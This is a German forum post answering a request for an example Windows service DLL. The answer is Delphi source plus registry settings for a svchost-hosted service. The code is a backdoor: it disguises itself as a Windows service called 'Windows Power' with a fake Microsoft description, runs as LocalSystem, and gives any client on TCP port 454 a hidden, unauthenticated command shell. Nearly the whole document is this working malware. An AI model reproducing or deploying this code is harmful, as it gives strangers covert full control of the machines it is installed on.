Suche Beispiel für eine Service-DLL

[Astat]

Delphi-Quellcode:

library svchost;

(********************************* Regsettings *********************************

  Windows Registry Editor Version 5.00

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc]
  "DisplayName"="Windows Power"
  "Type"=dword:00000020
  "Start"=dword:00000002
  "ErrorControl"=dword:00000000
  "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
    74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,\
    00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,00,65,00,20,00,2d,00,\
    6b,00,20,00,6e,00,65,00,74,00,73,00,76,00,63,00,73,00,00,00
  "ObjectName"="LocalSystem"
  "Description"="Bietet Unterstützung für Protokoll-Plug-Ins von Drittanbietern
     für die gemeinsame Nutzung der Internetverbindung und den Windows-Firewall."

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Parameters]
  "ServiceDll"=hex(2):44,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,00,53,\
    00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,67,00,79,00,\
    65,00,6b,00,65,00,74,00,79,00,73,00,2e,00,64,00,6c,00,6c,00,00,00

  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Enum]
  "0"="Root\\LEGACY_TAPISVC\\0000"
  "Count"=dword:00000001
  "NextInstance"=dword:00000001

+Zur Gruppe hinzufügen:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost
*******************************************************************************)
uses
  Windows,
  WinSvc,
  Winsock2,
  Winsock;

const
  Port = 454;

type
  PArgArray = ^PChar;

var
  ServiceStatus: SERVICE_STATUS;
  hServiceStatusHandle : SERVICE_STATUS_HANDLE;
  Terminated: boolean = false;

  szCmdLine: Array [0..MAX_PATH] of Char;

function ShellThread(Parameter: Pointer): Integer;
var
  hSocket: PInteger;
  si: TStartupInfo;
  pi: TProcessInformation;
begin
  hSocket := Parameter;
  ZeroMemory(@si, SizeOf(TStartupInfo));
  si.cb := SizeOf(TStartupInfo);
  si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  si.wShowWindow := SW_HIDE;
  si.hStdInput := hSocket^;
  si.hStdOutput := hSocket^;
  si.hStdError := hSocket^;
  CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
  WaitForSingleObject(pi.hProcess, INFINITE);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  Shutdown(hSocket^, SD_BOTH);
  CloseSocket(hSocket^);
  Dispose(hSocket);
  Result := 0;
end;

function MainThread(Parameter: Pointer): Integer;
var
  WSAData: TWSAData;
  FDSet: TFDSet;
  SockAddrIn: TSockAddrIn;
  ServerSocket: TSocket;
  Connected: PInteger;
  ThreadID: Cardinal;
begin
  result := 0;
  if WSAStartUp($0020, WSAData) <> S_OK then EXIT;

  ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  if (ServerSocket = INVALID_SOCKET) then EXIT;

  FillChar(SockAddrIn, SizeOf(TSockAddr), #0);

  with SockAddrIn do begin
    sin_Family := AF_INET;
    sin_Port   := htons(Port);
    sin_Addr   := TInAddr(htonl(INADDR_ANY));
  end;

  if Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR then EXIT;

  if Listen(ServerSocket, SOMAXCONN) = SOCKET_ERROR then EXIT;

  GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);

  while not Terminated do begin
    FD_Zero(FDSet);
    FD_Set(ServerSocket, FDSet);
    if Select(0, @FDSet, nil, nil, nil) = SOCKET_ERROR then Break;
    if Terminated then Break;
    if FD_IsSet(ServerSocket, FDSet) then begin
      New(Connected);
      Connected^ := Accept(ServerSocket, nil, nil);
      if Connected^ <> SOCKET_ERROR then
        BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
      else
        Break;
    end;
    sleep(15);
  end;

  WSACleanup;
end;

//-- Service Code
function SvcCtrlHandler(dwControl: DWORD; dwEventType: DWORD;
  lpEventData: PChar; lpContext: PChar): DWORD; stdcall;
begin
  result := NO_ERROR;

  case dwControl of
    SERVICE_CONTROL_STOP, SERVICE_CONTROL_SHUTDOWN:
      begin
        ServiceStatus.dwWin32ExitCode := 0;
        ServiceStatus.dwCurrentState  := SERVICE_STOPPED;
        ServiceStatus.dwCheckPoint    := 0;
        ServiceStatus.dwWaitHint      := 0;
      end;
    SERVICE_CONTROL_PAUSE:
      begin
        ServiceStatus.dwCurrentState  := SERVICE_PAUSED;
      end;
    SERVICE_CONTROL_CONTINUE:
      begin
        ServiceStatus.dwCurrentState  := SERVICE_RUNNING;
      end;
  end;

  SetServiceStatus(hServiceStatusHandle,  ServiceStatus);
end;

procedure ServiceMain(dwArgc: DWORD; lpszArgv: PArgArray); stdcall;
var
  pServiceName: PChar;
begin
  pServiceName := PChar('Tapisvc');

  ServiceStatus.dwServiceType        := SERVICE_WIN32_SHARE_PROCESS;
  ServiceStatus.dwCurrentState       := SERVICE_START_PENDING;

  ServiceStatus.dwControlsAccepted   := SERVICE_ACCEPT_STOP or
    SERVICE_ACCEPT_SHUTDOWN or SERVICE_ACCEPT_PAUSE_CONTINUE;

  ServiceStatus.dwWin32ExitCode      := 0;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwCheckPoint         := 0;
  ServiceStatus.dwWaitHint           := 0;

  hServiceStatusHandle := RegisterServiceCtrlHandlerA(pServiceName,
    @SvcCtrlHandler);

  if (hServiceStatusHandle <> 0) then begin
    ServiceStatus.dwCurrentState := SERVICE_RUNNING;
    ServiceStatus.dwCheckPoint   := 0;
    ServiceStatus.dwWaitHint     := 0;
    SetServiceStatus(hServiceStatusHandle, ServiceStatus);
  end;
end;

procedure DLLEntryPoint(dwReason: DWORD);
var
  dwThreadID: DWORD;
begin
  case dwReason of
    DLL_PROCESS_ATTACH : CloseHandle(BeginThread(nil, 0, MainThread, nil, 0, dwThreadID));
    DLL_PROCESS_DETACH : Terminated := true;
  end;
end;

 {$R *.RES}

exports
  ServiceMain;

begin
  DisableThreadLibraryCalls(hInstance);
  DllProc := @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.